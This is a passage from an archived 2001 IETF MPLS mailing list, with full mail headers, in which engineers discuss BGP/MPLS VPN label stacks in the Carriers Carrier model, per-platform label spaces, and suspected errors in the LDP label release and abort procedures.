	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkozf24839
	for <mpls@uu.net>; Mon, 14 May 2001 13:53:50 GMT
Received: from sj-msg-core-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11])
	id QQkozf23705
	for <mpls@uu.net>; Mon, 14 May 2001 13:53:49 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f4EDrm925175
	for <mpls@uu.net>; Mon, 14 May 2001 06:53:48 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id JAA10687 for mpls@uu.net; Mon, 14 May 2001 09:53:47 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkoyi10016
	for <mpls@mail-control.mail.uu.net>; Mon, 14 May 2001 08:05:28 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkoyi22591
	for <mpls@UU.NET>; Mon, 14 May 2001 08:04:26 GMT
Received: from anti_vir1.rad.co.il by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [192.116.244.108])
	id QQkoyi28916
	for <mpls@UU.NET>; Mon, 14 May 2001 08:04:24 GMT
Received: from anti_vir1.rad.co.il (localhost [127.0.0.1])
	by anti_vir1.rad.co.il (8.9.3+Sun/8.9.3) with ESMTP id LAA14945
	for <mpls@UU.NET>; Mon, 14 May 2001 11:05:17 +0200 (IST)
Received: from radmail.rad.co.il (radmail [192.114.24.30])
	by anti_vir1.rad.co.il (8.9.3+Sun/8.9.3) with ESMTP id LAA14846;
	Mon, 14 May 2001 11:05:00 +0200 (IST)
Received: from tlv1.axerra.com ([192.168.254.14]) by radmail.rad.co.il
          (Post.Office MTA v3.5.3 release 223 ID# 0-69802U1300L1200S0V35)
          with ESMTP id il; Mon, 14 May 2001 11:05:14 +0300
Received: by TLV1 with Internet Mail Service (5.5.2653.19)
	id <HFMMDZP3>; Mon, 14 May 2001 11:03:28 +0200
Message-ID: <AF5018AC03D1D411ABB70002A5091326039D0F@TLV1>
From: Sasha Vainshtein <Sasha@AXERRA.com>
To: "'jim guichard'" <jguichar@cisco.com>,
        "Metz, Eduard"
	 <Eduard.Metz@KPNQwest.com>
Cc: "'Shahram Davari'" <Shahram_Davari@pmc-sierra.com>,
        "'mpls@uu.net'"
	 <mpls@UU.NET>, Alik Shimelmits <alik@AXERRA.com>,
        Elena Vinkler
	 <elena@AXERRA.com>
Subject: RE: BGP/MPLS VPN PE LSR
Date: Mon, 14 May 2001 11:03:24 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Regarding the Carriers Carrier model:
My assumption is that in this model the label on the packet 
sent by the upstream CE router to its appropriate  PE has been assigned 
(to some FEC) by the peer downstream CE router at the 
other side of the CE<-->CE tunnel and then distributed to 
the upstream CE (e.g., via a direct LDP session between the two CE routers)
 without any involvement of the PE routers (save from that that 
they provide an IP VPN connectivity between CEs 
so that the latter can run LDP sessions between them).
This means that PE cannot do anything with such a label per se!
One way to overcome siuch a situation would be for the two CEs to run either

MPLS-in-IP or MPLS-in-GRE between them as described in
<draft-worster-mpls-in-ip-04.txt>.

With best regards,
                                   Sasha Vainshtein
email:     sasha@axerra.com 
tel:       +972-3-7659993 (office)
           +972-8-9254948 (res.)
           +972-58-674833 (cell.)
 


> -----Original Message-----
> From: jim guichard [mailto:jguichar@cisco.com]
> Sent: Thursday, May 10, 2001 11:41 AM
> To: Metz, Eduard
> Cc: 'Shahram Davari'; 'mpls@uu.net'
> Subject: RE: BGP/MPLS VPN PE LSR
> 
> 
> The case where a PE will receive a labelled packet is 
> referred to as the 
> Carriers Carrier architecture and it has several flavours. In 
> the case 
> where the VPN site is running MPLS, then you will see a two 
> level label 
> stack across the carrier backbone. A three level label stack 
> will be seen 
> when the VPN site is running MPLS VPN and this is referred to as a 
> hierarchical VPN. Jim
> 
> At 10:43 10/05/2001 +0200, Metz, Eduard wrote:
> 
> >I assume you are referring to the 'carriers-carrier' model. 
> This section in
> >the draft is pretty vague. However, are you sure 2 labels 
> will be added?
> >Could the PE not also use the customer label as the inner 
> label (and thus
> >swap it)?
> >
> >
> > > -----Original Message-----
> > > From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com]
> > > Sent: 09 May 2001 21:16
> > > To: 'mpls@uu.net'
> > > Subject: BGP/MPLS VPN PE LSR
> > >
> > >
> > > Hi,
> > >
> > > In an BGP/MPLS VPN scenario if a CE router sends an MPLS
> > > packet rather than an IP packet to a PE router, the PE router
> > > should still push 2 labels. My question is, should the PE
> > > router swap the customer's label too or leave it unchanged?
> > >
> > > Yours,
> > > -Shahram
> > >
> > >
> 
> 
> 
> Jim Guichard CCIE #2069
> Technical Leader EMEA
> 
> +44 208 756 8806
> Mobile: +44 7802 809763
> 



From owner-mpls@UU.NET  Mon May 14 09:58:20 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA11877
	for <mpls-archive@lists.ietf.org>; Mon, 14 May 2001 09:58:20 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkozf24315;
	Mon, 14 May 2001 13:57:22 GMT
Received: by mail-control.mail.uu.net 
	id QQkozf15477
	for mpls-outgoing; Mon, 14 May 2001 13:56:47 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkozf15387
	for <mpls@mail-control.mail.uu.net>; Mon, 14 May 2001 13:56:23 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkozf04203
	for <mpls@uu.net>; Mon, 14 May 2001 13:54:11 GMT
Received: from sj-msg-core-2.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.24.11])
	id QQkozf24069
	for <mpls@uu.net>; Mon, 14 May 2001 13:54:10 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f4EDsAd20459
	for <mpls@uu.net>; Mon, 14 May 2001 06:54:10 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id JAA10691 for mpls@uu.net; Mon, 14 May 2001 09:54:08 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkoyy28986
	for <mpls@mail-control.mail.uu.net>; Mon, 14 May 2001 12:00:32 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkoyy21099
	for <mpls@uu.net>; Mon, 14 May 2001 12:00:04 GMT
Received: from nexen.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [146.115.49.5])
	id QQkoyy29793
	for <mpls@uu.net>; Mon, 14 May 2001 12:00:01 GMT
Received: from flannel.nexen.com (flannel [146.115.50.184])
	by nexen.com (8.11.0/8.11.0) with ESMTP id f4EBxvl04066;
	Mon, 14 May 2001 06:59:57 -0500 (EST)
Received: from nexen.com (flannel [146.115.50.184])
	by flannel.nexen.com (8.8.5/8.8.5) with ESMTP id HAA28658;
	Mon, 14 May 2001 07:59:50 -0400 (EDT)
Message-ID: <3AFFC8B6.62DEA8E4@nexen.com>
Date: Mon, 14 May 2001 07:59:50 -0400
From: Shantnu Sharma <ssharma@nexen.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Bhupesh Bajaj <bhupeshb@in.huawei.com>
CC: Manoj Dutta <manoj@ipinfusion.com>, mpls@UU.NET, mpls-ops@mplsrc.com
Subject: Re: Label Mapping mesage !!
References: <751B6DD7A243D511AB9F0002557C568707072D@HUAWEIMAIL>
Content-Type: multipart/alternative;
 boundary="------------0DE2474CB59FF2214E07DA0E"
Sender: owner-mpls@UU.NET
Precedence: bulk


--------------0DE2474CB59FF2214E07DA0E
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


Greetings!

Bhupesh,

Your statement is correct. If you have platform wide label space you cannot
advertise the same label for different FECs.

Thanks
Shantnu


Bhupesh Bajaj wrote:

> hi...
> as specified in RFC 3031..in section 3.14 "scope and uniqueness....."
>
> "A given LSR Rd may bind label L to FEC F1, and distribute that
>    binding to label distribution peer Ru1.  Rd may also bind label L to
>    FEC F2, and distribute that binding to label distribution peer Ru2.
>    IF (AND ONLY IF) RD CAN TELL, WHEN IT RECEIVES A PACKET WHOSE TOP
>    LABEL IS L, WHETHER THE LABEL WAS PUT THERE BY RU1 OR BY RU2, THEN
>    THE ARCHITECTURE DOES NOT REQUIRE THAT F1 == F2.  In such cases, we
>    may say that Rd is using a different "label space" for the labels it
>    distributes to Ru1 than for the labels it distributes to Ru2."
>
> it gets clear that the the Rd may specify the same label BUT the label space
> used for the Ru1 and Ru2 will be different.
>
> or in other words , if its using Per Platform Label space, the Rd MUST not
> specify the Same Label for different FEC's possibly belonging to different
> Ru's.
>
> Correct me If i am wrong
>
> thanks and regards
> bhupesh
>
> -----Original Message-----
> From: Manoj Dutta [mailto:manoj@ipinfusion.com]
> Sent: Monday, May 14, 2001 1:20 PM
> To: mpls@UU.NET
> Subject: Label Mapping mesage !!
>
> hi,
>
> Is is possible for a given LSR Rd to distribute the same label mapping
> for more than one fec elements to another LSR Ru while using platform
> wide label space only. If so, then what are the possible scenarios.
>
> thanks
> manoj
>
> -------
> The MPLS-OPS Mailing List
> Subscribe/Unsubscribe:  http://www.mplsrc.com/mplsops.shtml
> Archive: http://www.mplsrc.com/mpls-ops_archive.shtml

--
***************************************************************
        I am prepared to die, but there is no cause
        for which I am prepared to kill.
        - Mohandas Karamchand GANDHI



--------------0DE2474CB59FF2214E07DA0E
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
&nbsp;
<br>Greetings!
<p>Bhupesh,
<p>Your statement is correct. If you have platform wide label space you
cannot advertise the same label for different FECs.
<p>Thanks<br>
Shantnu
<br>&nbsp;
<p>Bhupesh Bajaj wrote:
<blockquote TYPE=CITE>hi...
<br>as specified in RFC 3031..in section 3.14 "scope and uniqueness....."
<p>"A given LSR Rd may bind label L to FEC F1, and distribute that
<br>&nbsp;&nbsp; binding to label distribution peer Ru1.&nbsp; Rd may also
bind label L to
<br>&nbsp;&nbsp; FEC F2, and distribute that binding to label distribution
peer Ru2.
<br>&nbsp;&nbsp; IF (AND ONLY IF) RD CAN TELL, WHEN IT RECEIVES A PACKET
WHOSE TOP
<br>&nbsp;&nbsp; LABEL IS L, WHETHER THE LABEL WAS PUT THERE BY RU1 OR
BY RU2, THEN
<br>&nbsp;&nbsp; THE ARCHITECTURE DOES NOT REQUIRE THAT F1 == F2.&nbsp;
In such cases, we
<br>&nbsp;&nbsp; may say that Rd is using a different "label space" for
the labels it
<br>&nbsp;&nbsp; distributes to Ru1 than for the labels it distributes
to Ru2."
<p>it gets clear that the the Rd may specify the same label BUT the label
space
<br>used for the Ru1 and Ru2 will be different.
<p><b><u>or in other words , if its using Per Platform Label space, the
Rd MUST not</u></b>
<br><b><u>specify the Same Label for different FEC's possibly belonging
to different</u></b>
<br><b><u>Ru's.</u></b><b><u></u></b>
<p>Correct me If i am wrong
<p>thanks and regards
<br>bhupesh
<p>-----Original Message-----
<br>From: Manoj Dutta [<a href="mailto:manoj@ipinfusion.com">mailto:manoj@ipinfusion.com</a>]
<br>Sent: Monday, May 14, 2001 1:20 PM
<br>To: mpls@UU.NET
<br>Subject: Label Mapping mesage !!
<p>hi,
<p>Is is possible for a given LSR Rd to distribute the same label mapping
<br>for more than one fec elements to another LSR Ru while using platform
<br>wide label space only. If so, then what are the possible scenarios.
<p>thanks
<br>manoj
<p>-------
<br>The MPLS-OPS Mailing List
<br>Subscribe/Unsubscribe:&nbsp; <a href="http://www.mplsrc.com/mplsops.shtml">http://www.mplsrc.com/mplsops.shtml</a>
<br>Archive: <a href="http://www.mplsrc.com/mpls-ops_archive.shtml">http://www.mplsrc.com/mpls-ops_archive.shtml</a></blockquote>

<pre>--&nbsp;
***************************************************************
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I am prepared to die, but there is no cause&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for which I am prepared to kill.&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; - Mohandas Karamchand GANDHI</pre>
&nbsp;</html>

--------------0DE2474CB59FF2214E07DA0E--



From owner-mpls@UU.NET  Mon May 14 10:49:13 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA14042
	for <mpls-archive@lists.ietf.org>; Mon, 14 May 2001 10:49:13 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkozj07455;
	Mon, 14 May 2001 14:48:05 GMT
Received: by mail-control.mail.uu.net 
	id QQkozj09631
	for mpls-outgoing; Mon, 14 May 2001 14:47:34 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkozj09611
	for <mpls@mail-control.mail.uu.net>; Mon, 14 May 2001 14:47:24 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkozj13825
	for <mpls@uu.net>; Mon, 14 May 2001 14:46:52 GMT
Received: from sj-msg-core-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11])
	id QQkozj22961
	for <mpls@uu.net>; Mon, 14 May 2001 14:46:51 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f4EEkt924969
	for <mpls@uu.net>; Mon, 14 May 2001 07:46:55 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id KAA11025 for mpls@uu.net; Mon, 14 May 2001 10:46:50 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkozi08674
	for <mpls@mail-control.mail.uu.net>; Mon, 14 May 2001 14:40:59 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkozi27217
	for <mpls@UU.NET>; Mon, 14 May 2001 14:40:08 GMT
Received: from anti_vir1.rad.co.il by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [192.116.244.108])
	id QQkozi28722
	for <mpls@UU.NET>; Mon, 14 May 2001 14:40:05 GMT
Received: from anti_vir1.rad.co.il (localhost [127.0.0.1])
	by anti_vir1.rad.co.il (8.9.3+Sun/8.9.3) with ESMTP id RAA07501
	for <mpls@UU.NET>; Mon, 14 May 2001 17:40:57 +0200 (IST)
Received: from radmail.rad.co.il (radmail [192.114.24.30])
	by anti_vir1.rad.co.il (8.9.3+Sun/8.9.3) with ESMTP id RAA07483;
	Mon, 14 May 2001 17:40:55 +0200 (IST)
Received: from tlv1.axerra.com ([192.168.254.14]) by radmail.rad.co.il
          (Post.Office MTA v3.5.3 release 223 ID# 0-69802U1300L1200S0V35)
          with ESMTP id il; Mon, 14 May 2001 17:41:09 +0300
Received: by TLV1 with Internet Mail Service (5.5.2653.19)
	id <HFMMDZW2>; Mon, 14 May 2001 17:39:23 +0200
Message-ID: <AF5018AC03D1D411ABB70002A5091326039D10@TLV1>
From: Sasha Vainshtein <Sasha@AXERRA.com>
To: "'jim guichard'" <jguichar@cisco.com>,
        Sasha Vainshtein
	 <Sasha@AXERRA.com>
Cc: "Metz, Eduard" <Eduard.Metz@KPNQwest.com>,
        "'Shahram Davari'"
	 <Shahram_Davari@pmc-sierra.com>,
        "'mpls@uu.net'" <mpls@UU.NET>, Alik Shimelmits <alik@AXERRA.com>,
        Elena Vinkler <elena@AXERRA.com>
Subject: RE: BGP/MPLS VPN PE LSR
Date: Mon, 14 May 2001 17:39:12 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Jim,
Thank you for a prompt response. However, it leaves several point unclear.
1. Neither RFC 2547 nor rfc2547bis does not specify which routing protocols
run between
   CE and PE if any at all. In the basic model, CE does not require any 
   specific route at all - a default route via its PE is sufficient. In its
turn,
   PE may learn routes to destinations behind its adjacent CE via static
configuration.
   So what happens if  there is no routing protocol between CE and its
adjacent PE?
2. AFAIK in the 2547 model:
   a) PE somehow learns routes to destinations behind its adjacent CEs and
installs
       them in the VRF instance associated with the given VPN
   b) iBGP distributes addresses of PEs as BGP next hops for the
       VPN destinations behind their adjacent CEs together with _internal_
labels which
       are associated with the VRF instances within these PEs
   c) IGP (OSPF or ISIS)  within the MPLS backbone provides for IP
connectivity between PEs
   d) LDP provides for MPLS connectivity between PEs
   e) PEs use labels associated with LSPs to their peers as _external_
labels in the
       two-level label stack.
   This means that  internal labels refer to VRF instance-to-VRF instance
LSPs while
   external labels refer to PE-to-PE LSPs. 
3. Now comes the key question: to which LSP should belong a label in a
   packet sent by the CE to its adjacent PE?
   I see the following use cases:
   a) They belong to CE-to-CE LSPs which are tunneled in the
       VRF instance-to-VRF instance ones,
       i.e. they are never visible in the MPLS VPN backbone including PEs.
      This is the scenario I had in mind. It also may be related to the
flavor which you have
      called hierarchical VPN. The probelm is that PE has to recognize these
labels in order to
      process them in any way. I do not see how this is possible.
   b) They belong to CE-to-CE tunnels which are just extensions of the 
       VRF instance-to-VRF instance ones. This will only
      work if there is just one customer site per PE per VPN. 
  c) They belong to (upstream CE)-to-(VRF instance in the downstream PE)
LSPs.
      IMHO this corresponds to the process you have described in your answer
and
      also to the "VPN site running MPLS" flavor. The problem with this
scenario is
      that the provider's network topology becomes partially visible to the
CE routers
      ( they have to know which PE acts as the BGP next hop for the specific
destination
     in their VPN). AFAIK this is considered as undesirable in the common
VPN framework. 
 

With best regards,
                                   Sasha Vainshtein
email:     sasha@axerra.com 
tel:       +972-3-7659993 (office)
           +972-8-9254948 (res.)
           +972-58-674833 (cell.)
 


> -----Original Message-----
> From: jim guichard [mailto:jguichar@cisco.com]
> Sent: Monday, May 14, 2001 10:35 AM
> To: Sasha Vainshtein
> Cc: Metz, Eduard; 'Shahram Davari'; 'mpls@uu.net'; Alik 
> Shimelmits; Elena Vinkler
> Subject: RE: BGP/MPLS VPN PE LSR
> 
> 
> Sasha,
> 
> At 11:03 14/05/2001 +0200, Sasha Vainshtein wrote:
> >Regarding the Carriers Carrier model:
> >My assumption is that in this model the label on the packet
> >sent by the upstream CE router to its appropriate  PE has 
> been assigned
> >(to some FEC)
> 
> your assumption is not correct. The label that the CE will use is 
> distributed by its upstream PE router. The external routes of 
> the site are 
> distributed to other sites using iBGP. The BGP next-hops for 
> these prefixes 
> are exchanged with the MPLS VPN backbone using standard 
> routing protocols 
> but also LDP label distribution. The BGP next-hops are placed 
> into the PE 
> routers VRF and then advertised across the backbone as VPNv4 
> prefixes. Once 
> imported into the receiving PE routers VRF, they are advertised using 
> standard routing protocols to the CE but also with LDP label 
> distribution. 
> All of this provides an end-to-end LSP between ASBRs in 
> different sites, 
> and provides the ability to off load large amounts of prefix 
> information 
> from the MPLS VPN backbone .. Jim
> 
> >  by the peer downstream CE router at the
> >other side of the CE<-->CE tunnel and then distributed to
> >the upstream CE (e.g., via a direct LDP session between the 
> two CE routers)
> >  without any involvement of the PE routers (save from that that
> >they provide an IP VPN connectivity between CEs
> >so that the latter can run LDP sessions between them).
> >This means that PE cannot do anything with such a label per se!
> >One way to overcome siuch a situation would be for the two 
> CEs to run either
> >
> >MPLS-in-IP or MPLS-in-GRE between them as described in
> ><draft-worster-mpls-in-ip-04.txt>.
> >
> >With best regards,
> >                                    Sasha Vainshtein
> >email:     sasha@axerra.com
> >tel:       +972-3-7659993 (office)
> >            +972-8-9254948 (res.)
> >            +972-58-674833 (cell.)
> >
> >
> >
> > > -----Original Message-----
> > > From: jim guichard [mailto:jguichar@cisco.com]
> > > Sent: Thursday, May 10, 2001 11:41 AM
> > > To: Metz, Eduard
> > > Cc: 'Shahram Davari'; 'mpls@uu.net'
> > > Subject: RE: BGP/MPLS VPN PE LSR
> > >
> > >
> > > The case where a PE will receive a labelled packet is
> > > referred to as the
> > > Carriers Carrier architecture and it has several flavours. In
> > > the case
> > > where the VPN site is running MPLS, then you will see a two
> > > level label
> > > stack across the carrier backbone. A three level label stack
> > > will be seen
> > > when the VPN site is running MPLS VPN and this is referred to as a
> > > hierarchical VPN. Jim
> > >
> > > At 10:43 10/05/2001 +0200, Metz, Eduard wrote:
> > >
> > > >I assume you are referring to the 'carriers-carrier' model.
> > > This section in
> > > >the draft is pretty vague. However, are you sure 2 labels
> > > will be added?
> > > >Could the PE not also use the customer label as the inner
> > > label (and thus
> > > >swap it)?
> > > >
> > > >
> > > > > -----Original Message-----
> > > > > From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com]
> > > > > Sent: 09 May 2001 21:16
> > > > > To: 'mpls@uu.net'
> > > > > Subject: BGP/MPLS VPN PE LSR
> > > > >
> > > > >
> > > > > Hi,
> > > > >
> > > > > In an BGP/MPLS VPN scenario if a CE router sends an MPLS
> > > > > packet rather than an IP packet to a PE router, the PE router
> > > > > should still push 2 labels. My question is, should the PE
> > > > > router swap the customer's label too or leave it unchanged?
> > > > >
> > > > > Yours,
> > > > > -Shahram
> > > > >
> > > > >
> > >
> > >
> > >
> > > Jim Guichard CCIE #2069
> > > Technical Leader EMEA
> > >
> > > +44 208 756 8806
> > > Mobile: +44 7802 809763
> > >
> 
> 
> 
> Jim Guichard CCIE #2069
> Technical Leader EMEA
> 
> +44 208 756 8806
> Mobile: +44 7802 809763
> 



From owner-mpls@UU.NET  Mon May 14 11:02:04 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA14433
	for <mpls-archive@lists.ietf.org>; Mon, 14 May 2001 11:02:04 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkozk08242;
	Mon, 14 May 2001 15:00:34 GMT
Received: by mail-control.mail.uu.net 
	id QQkozk10743
	for mpls-outgoing; Mon, 14 May 2001 15:00:02 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkozj10631
	for <mpls@mail-control.mail.uu.net>; Mon, 14 May 2001 14:59:55 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkozj21373
	for <mpls@UU.NET>; Mon, 14 May 2001 14:59:41 GMT
Received: from sandmail.sandburst.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkozj05692
	for <mpls@UU.NET>; Mon, 14 May 2001 14:59:41 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id 1CF7094009; Mon, 14 May 2001 10:59:36 -0400 (EDT)
Message-ID: <3AFFF2D7.FC3AF36@sandburst.com>
Date: Mon, 14 May 2001 10:59:36 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Bob Thomas <rhthomas@cisco.com>
Cc: Manoj Dutta <manoj@ipinfusion.com>, MPLS Mailing List <mpls@UU.NET>
Subject: Re: Label Release receive doubt !!
References: <200105112215.SAA12227@telescope.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Bob,

    Thanks to Manoj's picking up on this, I thought about what other
messages I may have missed earlier.  Unfortunately, I believe the
same problem exists with the procedures for label abort request
processing - in particular LAbR.8, which says:

 "LAbR.8  Are there upstream peers other than MsgSource that have
  requested a label for FEC?
  If so, goto LAbR.11."

If there are other outstanding requests for MsgSource, this test will
fail (as it is now written) and LAbR.9 will be executed, resulting in
killing the downstream propagation of these other requests.

    Sorry I didn't catch this before.  The fix would be nearly indentical
to your proposed fix for LRl.5

You wrote:

> Manoj,
>
> > While going through RFC 3036 (LDP) section A.1.4 (label release
> > processing ), I came across the following section :
> >
> >
> > LRl.5     LRl.5  Has LSR previously advertised a label for this FEC  to
> > other peers ?
> >               If so, goto LRl.10
> >
> > If this check fails (ie LSR has not advertised any labels to other peers
> > for this FEC), the corresponding downstream label may be released. Now,
> > consider the case below :
> >
> > There are three LSRs        Ra-----Rb-------Rc connected in a striaght
> > line as shown (Rc being the downstream LSR for Rb and so on).
> > Now lets assume Ra is non merge capable and Rb is merge capable.
> > For a given FEC F, Ra requests multiple labels from Rb (one for each of
> > Ra's upstream peers for F). In response to these requests, Rb gives
> > label mappings {Lb1, Lb2, Lb3.....} to Ra and binds all these mappings
> > to Label Lc received from Rc for F. Now Ra releases one of the labels,
> > say Lb1, which it got from Rb for F. Now according to LRl.5,  Rb checks
> > if there are any other peer holding labels for Lc (downstream label from
> > Rc for FEC F). The check fails as Ra is the only peer holding labels for
> > F. In this case, Rb may release the downstream label Lc (if release
> > propagation is configured in Rb). This leaves other labels like {Lb2,
> > Lb3...}
> > sent to Ra from Rb (for FEC F) without any outgoing label on Rb. Thus
> > the packets from Ra labelled with
> > {Lb2, Lb3 ...} will need to use ip forwarding to reach Rc.
> >
> > I think we should not release a downstream label as long as there is
> > even one upstream label mapped to it but  the procedure described
> > doesn't seem to take care of this case. Let me know if there is anything
> > I am missing here.
>
> I think you have found an error in LRl.5.  The intent is as you
> suggest, but LRl.5 doesn't correctly specify that intent.  LRl.5 should
> be saying something like:
>
>    LRl.5   Has LSR previously advertised a label for this FEC to other
>            peers or another label for this FEC to MsgSource?
>            If so, goto LRl.10.
>
> or:
>
>    LRl.5   Does LSR have outstanding label advertisements for this FEC?
>            If so, goto LRl.10.
>
> Thanks,
> Bob



From owner-mpls@UU.NET  Mon May 14 11:27:21 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA15133
	for <mpls-archive@lists.ietf.org>; Mon, 14 May 2001 11:27:21 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkozl04853;
	Mon, 14 May 2001 15:25:31 GMT
Received: by mail-control.mail.uu.net 
	id QQkozl02090
	for mpls-outgoing; Mon, 14 May 2001 15:24:59 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkozl02039
	for <mpls@mail-control.mail.uu.net>; Mon, 14 May 2001 15:24:39 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkozl03274
	for <mpls@uu.net>; Mon, 14 May 2001 15:23:12 GMT
Received: from ntexgswp02.DMZ by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: smtp.kpnqwest.com [193.242.92.8])
	id QQkozl01852
	for <mpls@uu.net>; Mon, 14 May 2001 15:23:12 GMT
Received: from ntexghub01.kpnqwest.com (unverified) by ntexgswp02.DMZ
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tc0a864131015384bcc157@ntexgswp02.DMZ>;
 Mon, 14 May 2001 17:27:28 +0200
Received: by ntexghub01 with Internet Mail Service (5.5.2653.19)
	id <KWN0DQH5>; Mon, 14 May 2001 17:18:50 +0200
